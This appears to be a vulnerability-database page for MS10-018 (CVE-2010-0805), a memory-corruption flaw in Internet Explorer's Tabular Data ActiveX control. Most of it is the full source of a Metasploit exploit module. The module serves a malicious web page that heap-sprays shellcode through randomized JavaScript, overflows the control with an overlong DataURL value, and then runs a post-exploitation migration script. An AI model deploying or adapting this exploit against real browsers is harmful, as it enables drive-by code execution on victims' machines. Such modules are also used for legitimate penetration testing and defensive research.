MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption

🗓️ 05 Apr 2010 20:25:56Reported by Unknown, jduck <[email protected]>Type

Memory corruption vulnerability in Internet Explorer Tabular Data ActiveX Contro

Reporter	Title	Published	Views	Family All 25
zdt	Microsoft Internet Explorer Tabular Data Control ActiveX Code Execution	3 Apr 201000:00	–	zdt
Circl	CVE-2010-0805	30 Apr 201000:00	–	circl
Check Point Advisories	Internet Explorer Tabular Control Memory Corruption (MS10-018; CVE-2010-0805)	1 Apr 201000:00	–	checkpoint_advisories
CVE	CVE-2010-0805	31 Mar 201019:00	–	cve
Cvelist	CVE-2010-0805	31 Mar 201019:00	–	cvelist
Exploit DB	Microsoft Internet Explorer Tabular Data Control - ActiveX Remote Code Execution	3 Apr 201000:00	–	exploitdb
Exploit DB	Microsoft Internet Explorer - Tabular Data Control ActiveX Memory Corruption (MS10-018) (Metasploit)	30 Apr 201000:00	–	exploitdb
exploitpack	Microsoft Internet Explorer Tabular Data Control - ActiveX Remote Code Execution	3 Apr 201000:00	–	exploitpack
NVD	CVE-2010-0805	31 Mar 201019:30	–	nvd
OpenVAS	Microsoft Internet Explorer Multiple Vulnerabilities (980182)	1 Apr 201000:00	–	openvas

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption',
      'Description'    => %q{
          This module exploits a memory corruption vulnerability in the Internet Explorer
        Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
        Explorer are vulnerable.

        By specifying a long value as the "DataURL" parameter to this control, it is possible
        to write a NUL byte outside the bounds of an array. By targeting control flow data
        on the stack, an attacker can execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',  # original discovery
          'jduck'     # metasploit version
        ],
      'References'     =>
        [
          [ 'CVE', '2010-0805' ],
          [ 'OSVDB', '63329' ],
          [ 'BID', '39025' ],
          [ 'ZDI', '10-034' ],
          [ 'MSB', 'MS10-018' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "", #"\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic (Heap Spray)',
            {
              'Ret' => 0x0c0c0c0c
            }
          ],
        ],
      'DisclosureDate' => '2010-03-09',
      'DefaultTarget'  => 0))
  end


  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name} (target: #{target.name})")

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return\nops
    ret  	    = Rex::Text.to_unescape([target.ret].pack('V'))

    # ActiveX parameters
    #progid =
    clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"

    # exploit url
    url = "http://"
    #url << rand_text_alphanumeric(258)
    url << rand_text_alphanumeric(258+0x116+2)

    # Construct the final page
    var_unescape   = rand_text_alpha(rand(100) + 1)
    var_shellcode  = rand_text_alpha(rand(100) + 1)
    var_memory     = rand_text_alpha(rand(100) + 1)
    var_spray      = rand_text_alpha(rand(100) + 1)
    var_i          = rand_text_alpha(rand(100) + 1)

    html = %Q|<html><body>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}("#{ret * 2}");
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
</script>
<object classid='clsid:#{clsid}'>
<param name='DataURL' value='#{url}'/>
</object>
</body></html>
|

    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)

  end
end

02 Oct 2020 20:00Current

0.9Low risk

Vulners AI Score0.9

CVSS 29.3

EPSS0.80603